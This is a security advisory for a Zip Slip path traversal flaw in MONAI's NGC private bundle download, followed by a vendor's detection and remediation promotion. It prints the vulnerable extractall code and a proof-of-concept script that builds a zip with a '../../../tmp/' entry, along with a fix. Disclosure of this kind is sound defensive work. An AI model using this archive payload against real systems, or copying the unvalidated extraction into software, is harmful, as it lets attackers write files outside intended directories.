GHSA-9rg3-9pvr-6p27
MEDIUMMONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
monaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.
This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Details
Vulnerable Code Location
File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()
# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
z.extractall(extract_path) # <-- No path validation
logger.info(f"Writing into directory: {extract_path}.")
Root Cause
The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.
Safe Code Already Exists
MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:
def safe_extract_member(member, extract_to):
"""Securely verify compressed package member paths to prevent path traversal attacks"""
# ... path validation logic ...
if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
raise ValueError(f"Unsafe path detected in archive: {member_path}")
# Ensure path stays within extraction root
if os.path.commonpath([extract_root, target_real]) != extract_root:
raise ValueError(f"Unsafe path: path traversal {member_path}")
Comparison with Other Download Functions
| Function | File | Uses Safe Extraction? |
|---|---|---|
_download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) |
_download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) |
_download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) |
_download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |
PoC
Step 1: Create a Malicious Zip File
#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io
def create_malicious_zip(output_path="malicious_bundle.zip"):
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
# Normal bundle file
zf.writestr(
"monai_test_bundle/configs/metadata.json",
'{"name": "test_bundle", "version": "1.0.0"}'
)
# Path traversal entry
zf.writestr(
"../../../tmp/escaped_file.txt",
"This file was written outside the extraction directory.\n"
)
with open(output_path, 'wb') as f:
f.write(zip_buffer.getvalue())
print(f"Created: {output_path}")
with zipfile.ZipFile(output_path, 'r') as zf:
print("Contents:")
for name in zf.namelist():
print(f" - {name}")
if __name__ == "__main__":
create_malicious_zip()
Output:
Created: malicious_bundle.zip
Contents:
- monai_test_bundle/configs/metadata.json
- ../../../tmp/escaped_file.txt
Step 2: Demonstrate the Difference
This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):
#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os
def vulnerable_extraction(zip_path, extract_path):
"""Pattern used in monai/bundle/scripts.py:291-292"""
os.makedirs(extract_path, exist_ok=True)
with zipfile.ZipFile(zip_path, "r") as z:
z.extractall(extract_path)
print("[VULNERABLE] Extraction completed without validation")
def safe_extraction(zip_path, extract_path):
"""Pattern used in monai/apps/utils.py"""
os.makedirs(extract_path, exist_ok=True)
with zipfile.ZipFile(zip_path, "r") as zf:
for member in zf.infolist():
member_path = os.path.normpath(member.filename)
# Check for path traversal
if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
print(f"[SAFE] BLOCKED: {member.filename}")
continue
print(f"[SAFE] Allowed: {member.filename}")
# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
vulnerable_extraction("malicious_bundle.zip", tmpdir)
for root, dirs, files in os.walk(tmpdir):
for f in files:
rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
print(f" Extracted: {rel_path}")
print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
safe_extraction("malicious_bundle.zip", tmpdir)
Output:
==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
Extracted: monai_test_bundle/configs/metadata.json
Extracted: tmp/escaped_file.txt
==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt
Impact
Conditions Required for Exploitation
- Attacker must control or compromise an NGC private repository
- Victim must configure MONAI to download from that repository
- Victim must use
source="ngc_private"parameter
Potential Impact
If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:
- The permissions of the user running MONAI
- The target location of the escaped files
- Python version (newer versions have some built-in path normalization)
Mitigating Factors
- Requires attacker to control an NGC private repository
- Modern Python versions (3.12+) have some built-in path normalization
- The
ngc_privatesource is less commonly used than other sources
Recommended Fix
Replace the direct extractall() call with MONAI's existing safe extraction:
# monai/bundle/scripts.py
+ from monai.apps.utils import _extract_zip
def _download_from_ngc_private(...):
# ... existing code ...
extract_path = download_path / f"{filename}"
- with zipfile.ZipFile(zip_path, "r") as z:
- z.extractall(extract_path)
- logger.info(f"Writing into directory: {extract_path}.")
+ _extract_zip(zip_path, extract_path)
+ logger.info(f"Writing into directory: {extract_path}.")
This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.
Resources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | monai | all versions | 1.5.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update monai to 1.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9rg3-9pvr-6p27 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9rg3-9pvr-6p27 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9rg3-9pvr-6p27. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9rg3-9pvr-6p27 in your dependencies?
O3 detects GHSA-9rg3-9pvr-6p27 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.